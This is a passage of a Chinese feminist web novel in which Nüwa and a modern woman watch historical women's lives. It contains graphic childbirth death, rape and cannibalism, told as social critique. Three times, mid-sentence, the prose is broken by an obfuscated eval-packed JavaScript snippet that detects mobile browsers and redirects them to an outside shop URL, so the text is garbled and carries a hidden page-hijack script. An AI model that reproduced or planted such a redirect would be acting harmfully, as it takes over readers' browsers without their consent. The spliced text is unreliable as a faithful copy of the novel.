“我们观看直播,不是为了去责备过去的女性,而是为了去接近她们,去了解她们真实的一生。事不宜迟,第二场直播,你想为我呈现哪位女性的一生?”女娲笑眯眯地说道。 姜姚在识海中找了找:“这次,我们前往千年之后。第二场直播,开始。” 姜姚在一片哭声中醒来。她跟随着这位女婴好奇的眼神,看向四周。 这是一间宽敞的木屋,装饰古香古色,抱着她的是一位婆婆,身穿交领汉服。婴儿的母亲虚弱地躺在床上,正在看着女儿笑。 “老爷,生啦,生啦!”婆婆朝着屋外大喊。 房门被打开,快步走来的,是一个面色端肃,衣衫发冠一丝不苟的男子。 那人来到女婴身前,第一个动作,便是翻了翻她小小的腿。随之,他将女婴重重一摔。 【“他为何如此生气?”女娲从未见过有人会对新生儿发如此大的脾气,疑惑地问道。 姜姚却是对此司空见惯:“他没有找到想看到的东西。” “什么东西?”女娲问。 “能让他光宗耀祖,门楣生光之物——男婴的生殖器。” “……”一瞬间,女娲竟不知以何种语言来评价。 沉默半晌,她悲哀地说道:“后世女性地位越来越低,以这个趋势发展,最后,女性的存在本身,岂不是都会成为一种罪恶?” 姜姚道:“不需要等到后来,远在现在往前几百年,就已经有人这样做了——产男则相贺,产女则杀之。这个女婴能活下来,便不是最悲惨的。” “这些人需要、渴望生育之力,却又诋毁、摧残生育之人。若我真如传说般,能够掌管生育,或许,我会宁愿让全人类的生育之力都失效。”女娲的声音带上了一丝冷意。】 二人的讨论,淹没在了女婴被摔之后,撕心裂肺的哭声中。 母亲挣扎着撑起半边身子,对着男人拂袖而去的背影喊道:“夫君,至少给孩子取个名字吧!” 男人不耐烦道:“就知道哇哇大哭,叫她哇哇吧。” 母亲的身子再也支撑不住,猛地跌到了床上。 婴儿哭得更厉害。母亲抚摸着她软软的头,轻声道:“那你就叫娲娲了。不过啊,不是哇哇大哭的哇,而是女娲娘娘的娲。” 抚摸之下,婴儿渐渐止住了哭声,笑呵呵地吐了个奶泡 【“你的名字,给了后世那些困顿的女性无限的希望。”姜姚温声对女娲道。 看着母亲满含幸福笑意的脸,女娲的声音一改方才的失望冷意,变得柔软了起来:“我收回方才说的话。无论生育之力多为男性所忌惮,可是,只有这种能力才能够诞生母女,维系母女之间的爱。” 姜姚道:“我一直觉得,母女是世间最为干净纯粹的关系。虽然,有许多母女之间的感情被父系观念吞噬得丝毫不剩,但是,更多母女跨越了那些从出生起就加诸她们身上的枷锁,在父与夫与子牢固连接的父系社会中,寻找夹缝生长壮大。”】 娲娲渐渐长大。母亲总是无微不至地照顾她,父亲却总对她爱答不理。 娲娲问母亲:“为什么爹爹总是不理我?” 母亲先是一愣,许久之后,才想出一个说法:“因为爹爹忙于外面的生计,而忙生计是为了让娲娲吃好穿好,爹爹其实很爱娲娲。” 娲娲转了转脑袋,懵懂地问道:“爹爹爱我,娘亲也爱我,为什么娘亲见到我总是笑,爹爹却从来不笑,还说不想看见我呢?” 母亲想了想:“因为父亲的爱和母亲的爱是不一样的。母亲的爱绵密如水,无处不在,父亲的爱则深沉如山,不显于表。” 娲娲点了点头:“我知道了,爹不理娲娲,不是不喜欢娲娲!” “没错。”母亲高兴地抱紧了娲娲,仿佛她所说的,已然尽皆成为了现实。 【“原来,父爱如山这种狗屁说法,从这时候就有了。”姜姚嗤笑道。 女娲看着母亲眼底那发自内心的笑意,叹道:“娲娲母亲明明知道,自己所说的是一个谎言,却在骗过了孩子后,也骗过了自己。” “但她并不知道,她的女儿会因为这个谎言,陷入一遍遍的自我怀疑中。” 女娲敏锐地听出了姜姚话中的端倪:“姜姚,你幼时也听到过类似的话语吗?” 姜姚应道:“我从前也被我妈口中的父爱如山骗过,以为我那重男轻女、家暴成性的爹其实是爱我的。我在自我欺骗中活了二十年,最终终于认清,感受不到的爱,就是没有。” 女娲道:“后世发展出了内敛含蓄的文化,不像我们那般直截了当,喜欢就是喜欢,讨厌就是讨厌,可是,感情这种东西,更可能似少实多,却不可能似无却有。” 她叹了口气:“不过,你母亲这样对你说,恐怕也是希望减轻你心中所受的伤害,至少,能够怀着美好的希望长大。” “我知道她是好心,只是,从那时起,我开始将恶意与善意混淆。以至于后来,班里同学说,一直扔我书包、往我水杯中放苍蝇的男生是喜欢我,我找不出话来反驳。总是把我贬低得一无是处的前男友说他是在关心我,我痛苦了很久,却不知问题出在哪里。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231371|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一直不愿去面对的回忆,勾起了姜姚心底潜藏已久的苦楚。 突然,她感到浑身一暖。 女娲身处虚空中的身体靠近姜姚,轻轻抱住了她:“无论这个社会加在我们身上的是什么,现在,你已经识破了谎言,走出来了。” 姜姚呆了半晌,才记起回抱住女娲,喃喃道:“是啊,我已经走出来了。”】 幼小的娲娲却没能那么轻易地走出来。她开始想方设法讨父亲喜欢。 娲娲爱画画,经常拿笔在纸上乱涂乱画,母亲每次都会将她的画认真收藏起来。她想,爹看到了,也会一样高兴吧。 可是,当她画好了画,去找父亲时,他却一把夺过娲娲手中的画笔,厉声斥责:“女子无才便是德,笔不是你能拿的东西!” 娲娲哭了一顿,继续想别的办法接近父亲。可是,无论是跟父亲说话,还是给父亲表演唱歌刺绣,父亲总说让她别烦自己。娲娲为此很是苦恼。 一次,父亲外出了许久,归家之时,娲娲思念已久,不顾嬷嬷在后面喊当心,一路跑向了父亲。 扑通一声,她跌倒在地,摔了个大跟头,吃了一嘴泥。 娲娲张嘴就要哭,却突然听到了一阵大笑。她忍痛抬头看去,那从不在她眼前露出丝毫微笑的父亲,此时竟然被她摔倒的样子逗得捧腹大笑。 原来,只要摔倒,就能逗爹爹笑啊。 娲娲呆呆地跌坐在地。身上传来的痛持续不断,她却因为一直以来困惑她的问题终于得到了解决,高兴地笑了出来。 从此之后,每次见到父亲,娲娲都会假装不小心跌倒,在浑身的疼痛中,换取父亲的一笑。 【姜姚跟随娲娲跌了一个又一个跟头,终于忍不住叹道:“傻孩子。” “通过伤害自己,来换取他人的愉悦,娲娲现在还不明白,这种方法只能奏效一时,久而久之,这种自我伤害会成为他人眼中的习以为常,到那时候,取悦他人就需要去付出更大的自我伤害了。”女娲道。 姜姚道:“正如我们语文课本上的一句话,今日割五城,明日割十城,然后得一夕安寝。起视四境,而秦兵又至矣。”】 正如二人所言,随着摔跟斗次数的增多,父亲虽然有时候还是会被娲娲逗笑,可是,却渐渐没有笑得那么开心了。摔到第三十三次时,父亲一脸厌烦地看着她,让她滚。 还没等娲娲想出来怎么再逗父亲开心,有一天,她突然见到了父亲真正开心的样子。 那一天,家里阵仗很大,所有下人都在进进出出,说是姨娘生了个小少爷。 娲娲好奇地跑过去看,父亲抱着一个皱巴巴的小孩,笑得合不拢嘴:“宝贝,你真厉害,把你娘折腾了两天才出来。” 娲娲四年人生中,还曾未见到父亲如此高兴过。 那种高兴也感染了她,她跑上前,想要抱抱父亲的腿,父亲竟然没有如同往常一般赶她走,而是笑着揩了揩她的小脸:“你有弟弟咯!” 有生以来,她第一次遭遇父亲如此善待。等回到自己的房间,她兴奋地问母亲:“娘,我出生的时候,爹也这么高兴吗?” 母亲脸上露出了一种她看不懂的表情。她不解地望着母亲的脸,不知为何,心中的兴奋一消而散。 5. 奴隶 【女娲被这样哀伤的神情刺到:“娲娲母亲可以不顾一切地爱她,可仍会遗憾她的性别,仿佛,眼前的孩子只是半个人,只有生下儿子,才是创造了一个完整的人。” 姜姚瞬间被激发出了共鸣:“每个女孩的童年,都会面临无数这样的瞬间。从父母脸上的遗憾,到亲戚长辈谈起儿子时表面的嫌弃深层的纵容自豪,到老师口中的‘女生现在成绩好,长大就不如男生了’。等到我们长大,深知父系社会的运行法则后,再回头看,这些我们习以为常的话语,竟然单薄可笑到一戳就破。”】 “娘,你怎么了?”娲娲怯怯地问道。 娘回过神来,勉强笑了笑:“娲娲,娘想一个人待一会儿,你先出去玩吧。” 娲娲乖乖地点了点头,走出房间,轻轻地关上房门。她也不知道去哪里,漫无目的地走着,突然,听到了一声哀叫声。 她循声而去,只见一只羔羊被按在一处光滑的石台上,一个屠夫正握着一把刀,在它脖子上来回割着。 剧痛让羊发出一声声哀嚎。 “刀不快了,妈的。”屠夫咒骂一声,起身去找磨刀石。 羊被扔在原地,无助地躺在石头上,脖子正在汩汩流出鲜血。 一声一声的哀啼,让娲娲感到无比恐惧。她想跑,却找不到自己的身体。 突然,羊的身体急剧震颤了一下,眼球转动,朝着娲娲看了过来。 娲娲浑身一僵,被这个哀恸的眼神吓得魂飞魄散。 “啊——”她大叫着跑了出去。 她吓得跑回家,看到母亲还维持着她走时的表情。娲娲猛然发现,母亲的眼神,竟然与那只羔羊有着几分相似。 后来,娲娲经常能从母亲脸上看到这种表情。在看到爹对姨娘的儿子无比疼爱,对她却从来不曾抱过一次时,在听到她说想跟弟弟一样学写字时,娘的脸上都会露出这样的表情。 三年后的一天,娘的这种表情消失了,取而代之的,是难以掩饰的笑容:“娲娲,你马上就要有个弟弟了!” 娲娲愣了愣,嘴角模仿着母亲,作出一个笑容来。 弟弟是一种让爹开心,又让娘也开心的东西。那么,她心中这股莫名的失落,是不应该出现的吧。 【女娲道:“男性还未降世时,便从千年历史中,汲取到了无边无际的偏爱。” “是啊,”姜姚应道,“相比之下,女性得到的,只是亲人的血缘之爱,这爱还总是低于兄弟一等。也难怪,在我的时代,许多女性会沉迷于虚幻的爱情中,终其一生都在寻找遥不可及的爱,难以自拔。”】 母亲的肚子越来越大,娲娲每天都要偎依在上面,听弟弟在里面踢腿的声音。 九个月后,娲娲如往常一般,抚摸着母亲的肚子,突然,砰!一声像是水袋破裂的声音从母亲肚子里传来,吓得娲娲一个激灵,惊恐不已地看着母亲。 母亲冷静地抚了抚娲娲的脸:“弟弟要出生了,娲娲,你先出去吧。” “娘……”娲娲还没说完,就被嬷嬷匆匆带出了房间。 很快,几个老婆婆端着脸盆毛巾、带着剪刀布条,快步走入了房间,将房门紧紧关了起来。 没过多久,门内传来了母亲痛苦的喊叫声。娲娲呆呆地站在门口,随即,哇的一声,嚎啕大哭起来。 “啪!”一个狠戾的巴掌打在了她脸上。 娲娲被打懵了,愣在原地,一时间忘记了哭泣。紧接着,又是翻来覆去好几个巴掌。 她不敢再哭,睁着泪眼仰头,看向刚赶过来的父亲。 父亲一眼也没有看她,只转头对嬷嬷说道:“把她抱走!晦气玩意,有她在这哭丧,我儿子怎么能出来。” 【姜姚冷笑一声:“嫌女人晦气的说法,我听得太多了。来月经的女人晦气,不得入寺庙。怀孕的女人晦气,不能参加婚礼。更有女人不能坐镜头箱,不能进隧道之说——用所谓的规矩,明目张胆地告知全世界,生而为女,即是晦气。” 女娲也生气道:“气运明晦之事本就虚无缥缈,明明无凭无据,却因其含含糊糊的表述,让人难以将其完全反驳。用它来污蔑女性,三言两语就能加固女性身上的枷锁,还能让女性有口难辩,这些人的心,实在太狠毒了。”】 嬷嬷将娲娲带回房间,给她红肿的脸颊上药。平常怕痛怕得厉害的娲娲,此刻却一声不吭。 嬷嬷是看着娲娲从小长大的,视她如己出。她心下难过:“小姐,痛就喊出来吧。” 娲娲仍然一声不吭,甚至眼睛都没有眨。 嬷嬷叹了口气:“嬷嬷多说两句,老爷盼这个少爷盼了这么久,小姐可别去冲撞了,到头来,疼的是你自己。等夫人诞下小少爷,你再过去,到时候老爷心情好了,就不会打你了。” 好一会儿,娲娲的眼中才有了些许神采:“我知道了,嬷嬷,你去帮我拿只布娃娃来吧。” “哎!”见小姐终于恢复过来,开始要她平常爱玩的布娃娃了,嬷嬷心中的包袱终于落下,立即起身去里屋找娃娃。 “小姐,你看!小姐?”等到她找到布娃娃,再走出来时,却发现,娲娲不见了。 娲娲偷偷跑了出来,跌跌撞撞地跑到了母亲的房门前,藏在一棵树后面。 母亲的喊声一声比一声凄切,娲娲蜷缩在地上,紧紧捂住自己想要哭喊出来的嘴巴,任由泪水大滴大滴滚落下来。 嘎吱一声,房门开了。娲娲连忙看过去,见出来的,是一个拿着剪刀的老婆婆。 她对着爹摇了摇头:“老爷,夫人这一胎迟迟生不下来。” 爹问道:“掏了吗?” 产婆点了点头。 “剪了吗?” 产婆亦是点了点头:“什么方法都试了,就是生不下来。夫人流了一床的血,再这样下去,恐怕……老爷,您给个话,只要不让夫人再接着生,我十有八九能救活夫人。” 爹淡淡地说道:“前几天,刘长工老婆生娃生不下来,他把老婆放到驴子上,让驴子托着她走。驴子一颠一颠的,孩子就颠下来了。” “这……”产婆六神无主,“我从没干过这样的事。” 爹转头对身后小厮说道:“你们进去,把夫人抬出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231372|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 母亲被小厮们抬了出来,仅在上半身裹了一层薄薄的床单,不停地喊叫挣扎。 看着母亲痛苦的样子,娲娲如同被兜头泼了一桶冰水,浑身颤抖,却僵硬无比,怎么也迈不动步子。 娘的挣扎没有起到半分作用。她被放到了小厮牵过来的驴子上,浓烈无比的疼痛让她根本坐不住,只能趴在驴背上,一动不动。 尽管连动的力气都没有了,她遭受的疼痛却分毫未减,反而急剧加速。驴子每走一步,她都叫得撕心裂肺。 站在爹身后的产婆实在看不下去,犹豫了几下,还是硬着头皮说道:“老爷,要不算了吧,我接生这么多年,从来没见过这样能把孩子生出来的。” 爹拉下了脸,对旁边的小厮吩咐道:“送王婆走。” 整个宅子都回荡着娘凄厉的叫声,任谁听了,都一辈子也忘不了。姜姚已经分不清,脸上的泪水,是娲娲的,还是她自己的,抑或是女娲的。 娘的声音越来越凄厉,到了后面,简直不像是人发出来的。 这声音,娲娲从前听过。被屠户宰杀的那只羊,它的脖子被割掉放血时,只能一边被剧痛折磨,一边任由温热的血液大股大股流淌出体内。那个时候,它发出的,就是这种声音。 娲娲突然有种预感,她就要再也见不到娘了。 她哭喊着跑上去,被家仆们死死按在了离娘亲几米之外的距离。她不要命地挣扎,可怎么也挣脱不掉。 突然,娘的身体动了动。娲娲见了,连忙止住哭声。娘向她转过身来,看着她急切的样子,落下了一滴眼泪。 下一瞬,娘用尽全力,朝驴子身上一拧。驴子惊叫一声,撅起前蹄,将娘翻了下来。驴子不停蹬着腿,慌乱间,一声沉闷的响声,驴后蹄踢上了娘的头。 娘死了。 【姜姚透过娲娲的泪眼,看着大着肚子躺在地上的母亲,心痛道:“我跟随娲娲的视角,与母亲共处了这么多年,她就像是我自己的母亲一般。可是现在,她就那样躺在地上,我却什么都做不了。” 虚空之境中,女娲搂紧了姜姚:“我们观看的是过去的影像,这些都是早已发生的事,我们无法改变,不要自责。” 姜姚浑身颤抖:“为什么,在繁衍上,这个老爷只需洒洒水而已,明明已经如此受先天优待了,可他还是要将本就天然承担更多义务的妻子赶尽杀绝。” 女娲长叹一声:“这就是所谓人之道,损不足以奉有余。越是凶狠凉薄之人,越擅长索取,通常越拥有更多。而越是善良宽厚之人,则常常被索取得分毫不剩。” 姜姚恨恨地握紧了拳头:“去母留子,保小弃大……一个男婴,都不知道能不能养活,在他心里,竟然能抵得过一个成年女性的性命。” “这个时代,父权与夫权大于人权,看不见摸不着的所谓父子传承,远比一条条活生生的生命更为重要。” 女娲说完,更紧地抱了抱姜姚:“姜姚,不要伤心,至少,有你我二人,记住了这位母亲。” “嗯。”姜姚的声音中带上了丝丝抑制不住的哭腔。】 6. 奴隶 娲娲下一次见到父亲的面,是父亲将姨娘扶正之后。 “以后李姨娘就是你的娘了,哇哇,叫娘。” 娲娲沉默不语。 父亲不耐地说道:“快点。” 娲娲抬头瞪了父亲一眼,冷冷地说道:“谁是我娘?我只知道,她躺在坟茔里,尸骨未寒。” 娲娲转身,头也不回地走出了房门。 “反了天了!断了她的月钱!我看她能跟我横到几时!”父亲狂怒的喊声在背后响起。 一回到自己房门,娲娲就喊来嬷嬷:“嬷嬷,教我洗衣砍柴做饭吧,我想离开这个家。” 嬷嬷惊道:“小姐?你一个小姑娘家,怎么离开?去往哪里?” 娲娲看向窗外:“天大地大,总有我一席安身之地。” 嬷嬷摇头:“就算找到了地方,你也很难养活自己。洗衣砍柴做饭可都是粗活,你做不惯的。” “不试试怎么知道?” 磨了许久,嬷嬷无奈答应了她的请求:“好好好,我可以教你,但小姐,你要向我保证,在你成年之前,不可以离家。如今这兵荒马乱的世道,你现在出去,连性命都难保。” “好。”娲娲一口答应下来。 只要能有脱离这个家的一天,她便可以忍受当下的一切痛苦。 【“我真佩服娲娲,在无处不在的封建氛围之下,敢于做出脱离原生家庭的决定。”姜姚赞叹道。 女娲道:“天地广阔,何处不能安身立命。只要女子人人都有这样的觉悟,我们的权利就不会如从前一般,一项项被掠夺蚕食。”】 与嬷嬷说完话,娲娲便躺倒在了床上,呆呆地看着床顶。 嬷嬷眉头拧成了一团。自从夫人走后,小姐性情大变,再也不复平常开朗活泼的样子了。 “小姐,你看。”嬷嬷从袖中拿出了一样东西。 娲娲抬起眼皮,惊讶道:“笔!” 自从幼时父亲不许娲娲拿笔后,娲娲只能偶尔折些小木棍,在地上涂画。而这一切,从小照顾她的嬷嬷都看在眼里。 嬷嬷轻轻地摸了摸娲娲的头:“痛苦的时候,就拿这个画点东西,解解苦罢。” 娲娲握着画笔,泪水淌了满脸。 接下来几年间,娲娲一边向嬷嬷学习生存本领,一边画画。她极少见到父亲的面,倒是正合了她的心意。 一天,娲娲正沉浸于水墨之中,一抬头,猝不及防看到了父亲的脸。 她一言不发,继续低头画完自己的水墨画。 父亲拿起她的画,若有所思地看着。娲娲心中冷笑,做好了父亲将她的画撕碎,再把笔踩碎的准备。 没想到,父亲却只说道:“以后你画完的画,都送来给我。” “凭什么?” “凭我是你老子!凭我只要一句话,你这辈子都再也握不了笔!”父亲怒吼一通,拂袖离去。 娲娲握紧了手中的笔。也罢,只是几张画而已,在她能离家独立之前,必不可免地要忍受一些不快。 月余后,娲娲画画时,嬷嬷在旁闲聊道:“小姐,你们姐弟俩画画的天分,恐怕都遗传了老爷。” 娲娲停住了笔,奇怪道:“弟弟的画我见过,难看的很,怎么,突然开窍了?” 嬷嬷愣住:“全城都传遍了,少爷天赋异禀,十岁不到,就能画出传世之画来。那副《补天》,县令看了都赞扬,说少爷的画构思奇巧,意境空远,满纸寂寥。” 娲娲怔愣半晌,嘴边扬起了一个嘲讽的笑容,低头继续画了起来。 【“女子无法在社会上活动,这一规定倒是方便了她们的兄弟。”姜姚倍感讽刺。 “从古至今,不知有多少弟弟这样的人,女子在闺房中的成就,也就不知被抢走了多少。”女娲不平道。】 尽管姜姚与女娲都在愤愤不平,娲娲本人心中却没有多少不平。她满心只有一个念头:只要她一成年,她就离家出走,走到外面广阔的天地中去。 直到那日,一群长得高大、满脸胡子的男人们突然闯入了她的家中。 那些男人骑着马,提着刀,扛着枪,赤着上身,凶神恶煞。他们破门而入,见到男人就杀,见到女人就抓。 “胡人,是胡人!”家仆们恐惧地大喊。 【“胡人……华夏大地北部的游牧民族。”女娲慢慢理解这个词的含义。 “在娲娲所在的晋朝时期,胡人大举侵华,娲娲家被胡人洗劫,下场恐怕……”姜姚不忍说下去。】 娲娲急匆匆出门查看,嬷嬷急切地向她跑来,抓起她的手继续跑:“小姐,快跑,向后门跑!” 所有的家仆丫鬟全都乱成一团,发了疯的向着后门跑去。娲娲一眼望见,父亲背了一包袱盘缠,跑在了前头。 “老爷,老爷!”姨娘抱着弟弟苦苦追在父亲身后,她比娲娲小了一岁的女儿又跟在她后面追。 前方,父亲只顾拼命跑,没有半点要等他们的意思。 【“平时百般宠爱,要星星不给月亮的儿子,到头来,还是比不上自己这把老命。在家里生杀予夺的那股劲,遇到胡人全部消失得无影无踪了。”姜姚嘲讽道。 “生儿子是为了传承自己,获得一种生命得以在儿子身上延续,自己得以永生的心理满足。可若需要选择,虚幻的自己与真实的自己比起来,当然是后者更为重要。”女娲道。】 嗖的一声,一把飞刀闪过,直插入一个家仆的后脑,瞬间将其毙命。 所有人都被吓得停下了脚步。姨娘紧紧捂住儿子的嘴,阻止他的哭声泄露一分一毫。 娲娲身体一僵,转头向后看去。 一个骑在马上,满是络腮胡的高壮男人说了一句胡语,旁边,一个贼眉鼠眼的汉人毕恭毕敬地应了一声,转过头来,趾高气扬地对着整间屋子喊道:“大人说了,逃跑的就地处死!” 人群中鸦雀无声,片刻后,这片静默却突然被一声话语刺破:“跑啊!不跑也是死!” 一个仆人大喊了一声。一语惊醒众人,所有人争先恐后向着后门而去。等到他们跑到后门,却发现,门正紧锁着。老爷为了防范小偷,一向关闭院中后门,此刻,被防范的人反而成了他自己。 后面人挤撞前面人,最前面的人很快被压得面目青紫,咽气的人越来越多。 女人们跑不过男人,被落在了后面,竟逃过了先被挤死的命运。 娲娲没有逃,反而死死盯着那个骑在马上的胡人。那人玩味地看着那些向外挤的人,神情不慌不忙,像是早已为他们安排好了结局。 在层层叠叠的挤压下,后门终于被撞开。大家争先恐后地向外进发,却惊惧地发现,门口早有几十个胡人正在等候着他们。 只一瞬间,后门所有人全部倒在了血泊中。 漫天的哭喊声中,娲娲看向倒在地上的父亲。他的脸上是被挤压憋闷的青紫,脖子上有喷涌鲜血的伤口,教人分不清他是被挤死,被憋死,还是被砍死的。 娲娲冷冷地看着,心中除了快意,别无其他。 【“死得这么痛快,倒是便宜他了。”姜姚道。 女娲却担忧道:“战争降临到头顶时,死的快的是男性,可死得痛苦的,却是女性。”】 像是应了女娲的谶言,胡人的刀下一秒就落到了娲娲旁边的嬷嬷身上。 “嬷嬷!”娲娲撕心裂肺地扑向嬷嬷。 “小姐,活,你要……活……”嬷嬷至死没有合上双眼。 “我听你的,无论多痛苦,我一定活下去,活到最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231373|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻!”娲娲哭道。 不消半天,家里所有的男人、嬷嬷全部被杀,银两财宝也被洗劫一空。 娲娲和姨娘、姨娘的女儿、几个年轻的丫鬟则被带到了院子里。她们从前是水火不容的对立方,是尊卑分明的主仆,此刻,却消去差异,陡然平等了起来。 她们都成了同一张砧板上待宰的羔羊。 娲娲知晓,自己在劫难逃。唯一的生路,便是假意服从这些胡人,伺机逃跑。 活下去,逃出去。只要逃出去,即使孤身一人,即使生逢乱世,她已经有了养活自己的本领,可以活下去。 烈日炎炎下,胡人驱赶着她们上了路。走得稍微慢些的,鞭子便会落在她们身上。 娲娲平常在嬷嬷手下学了不少活,体力尚可,可姨娘和她女儿素日养尊处优,走起路来自然赶不上趟。 姨娘的女儿在挨了好几道鞭子后,再也支撑不住,倒了下来。那些胡人的鞭子仍然不停,显然是打定主意,只要起不来,赶不了路,就将她活活打死。 姨娘心急火燎地前去拉女儿,却被抽打在她身上的鞭子阻住了脚步。她顶着雨点般的鞭子奋力向着女儿靠近,几步远的距离,在鞭子的阻挡下,却无论如何也到不了。 娲娲跑过去,冒着密密麻麻的鞭子,将妹妹抱了出来。 姨娘怔楞愣地看着这个从未与她说过一句话的陌生的女儿,过了好一会儿,才想起来给她擦脸上被鞭子抽出来的鲜血。 【“生死关头,她们仍然在互帮互助。”女娲道。 姜姚道:“可惜,历史上这样的时刻,从来没能被记载下来。以至于直到现在还在流行什么‘男生豪爽适合做朋友,女生心眼小难相处’‘对女人最狠的,永远是女人’之类污蔑女性友谊的说法。”】 一天过去,胡人选了一处隐蔽的山林,安营扎寨,暂时歇息了下来。他们将娲娲这些掳来的女人绑到一边,自己人聚集到一起,吃起了随身携带的干粮。 妹妹怯生生地看着那些胡人,见他们手上的干粮并不多,刚刚够充饥。妹妹小声问娲娲:“姐姐,我们吃什么?” “什么也没有。”娲娲道。 那些胡人吃饱之后,纷纷向着她们走来。娲娲心跳如雷鼓,不知自己会遭遇什么。 他们扒下了女人们的衣衫,趴在她们身上耸动起了身体。姨娘和妹妹痛苦又屈辱,大哭了起来。 娲娲心中反而松了一口气。还好,还好。只是这种程度,她可以忍受,就当被癞蛤蟆黏了一下。 等到胡人们轮流在她们身上发泄完之后,为首的那人突然指着姨娘的女儿,说了一句胡语。 那个贼眉鼠眼的汉人没有翻译,娲娲并不知道这是何意,姜姚与女娲自是也不知。 很快,一个胡人走向姨娘女儿,将砍刀砍向了她的脖子。姨娘发疯似地扑上去,也丧命于刀下。 【“原来,他们只带少量的干粮,竟然是因为……他们的食物是……人。”女娲声音颤抖不已。 “战争降临到百姓头上时,谁都躲不过一个死字。只是,女性往往需要在历经百般折辱后死去。”姜姚悲声道。】 几天过去,娲娲一直在寻找逃跑之机,可是,在胡人的严格看守之下,她没有找到一点机会,只能每日承受白日被鞭策着赶路,黄昏被发泄肮脏,晚上忍饥挨饿的日子。 一个男人正在她身上耸动,她面无表情地望着天空。 又有一个男人走了过来。娲娲以为这是下一个人,却没想到,男人只是对趴在她身上的人说了一句话,便走开了。身上的男人骂了一声,加快动作。 娲娲还是面无表情地望着天空。 那句话她听了很多次,非常熟悉,她明白是什么意思:“今晚吃了这只两脚羊。” 7. 封建 厚重的砍刀砍到脖子上,大股大股的温热自娲娲体内流出,娲娲睁着眼睛,无声地看着被自己的鲜血洇湿、染红的大地。 一片锐痛之中,姜姚的神识猛地抽离了出来。 她下意识地捂住了脖子。那里光滑如练,没有深入颈椎的伤口,没有粘稠鲜红的血液。 第二次自直播中醒来,姜姚开始学着压下自己的惊惧。只是,时空转换的强烈不适感仍然萦绕在她身上,令她喘个不停。 女娲轻轻地摩挲着她的后背:“别怕。” 姜姚抬起头来:“女娲,为什么,同样都是从死亡中走出来,你的反应远没有我这样大?” 女娲想了想:“或许是因为,在我自己的一生中,便曾经历过好几次这样的生死时刻。” 姜姚问道:“都是怎样的时刻?野兽追赶吗,或者是生育之时?” 女娲道:“都有,也有两者结合的时刻。又一次,我在分娩过程中,部落遭遇野兽袭击,我一边忍受着剧痛,一边带领族人躲避,在路上,将孩子生了下来。” 姜姚不忍地看着女娲:“这样的生活,实在太过残酷了。” “所以那时候,部落里的人都十分团结,大家都明白,生存来之不易,必须依靠彼此,信任彼此。那时,我从未想过,在人类群体内部,竟也能存在如此大规模的倾轧与迫害,甚至,有的人竟然以同类为食。” “当人们实现了温饱之后,一些人的心思便会活络起来,期盼着能够踩着其他人,让自己高人一等。”姜姚道。 女娲默然良久,问道:“后世会好些吗?” 姜姚摇了摇头:“从这之后,女性的处境,越来越逼仄不堪。现在虽然已经好了许多,可与你那个时候,全然无法相比。” 女娲复归沉默。 姜姚道:“历史上的女性之路,是一条血肉惊心之路。后面直播出现的,可能会让你感到更加不适。女娲,你还要观看吗?” “要。”女娲坚定道,“彼时彼人,恰是此时此人。从古至今,所有的女性都是我,也是你。” “好。”姜姚笑了笑,“第三场直播,开始。” 姜姚的神识沉寂下去,在一个女孩身上醒了过来。不同于前两次,这次她视角开始之时不再是女婴,而是一个刚学会走路的女孩。 “娃娃,娃娃,过来。” 面容姣好的女子在前方不远处扶着墙壁,对女孩喊道。 名叫娃娃的女孩呵呵笑着,跌跌撞撞地向着母亲走去。眼看着娃娃就要走到身前,母亲手上微一用力,借着墙壁的回弹之力向前走去,丢下了一串欢快的笑声。 她走路的方式很是奇怪,双腿颤颤巍巍,迈着细碎的步子,一瘸一拐地向前挪动着,十分吃力。 这一切,都是源于她那双孩童般的小脚。 【“她的脚为何会这样?”女娲问。 “缠足。”姜姚不忍地说道。 “缠?什么样的绳子,能将人的双脚勒成如此骇人之状?” “需要从小开始缠……这位女童,很快就要经历这些了。”】 娃娃继续踏着小短腿,歪歪斜斜地向前追赶,几次之后,在院子墙根边追上了母亲。 娃娃幼小的身子左右摇摆站不稳,母亲忙伸出双手扶她,慌乱中,二人都没能站稳,一个趔趄摔倒在了地上。 母亲顾不上疼痛,先去看娃娃。好在,方才这一摔,她成了娃娃的肉垫子,护住了娃娃。她无比高兴,还没起身,就搂住娃娃亲了好几下。 娃娃笑呵呵地靠在母亲怀里,突闻墙外传来一声声孩子们的嬉闹声。 娃娃奶声奶气道:“外面,玩!” 母亲脸上的笑意凝重了下来:“外面都是些男孩子,娃娃不能跟他们一起玩。” “要玩,要出去!” 母亲抱紧了娃娃:“有时间出去的,等娃娃出嫁的那一天,就可以走出这院子里咯!” 【“出嫁才可走出院子?”女娲又迷惑又气愤地问道。 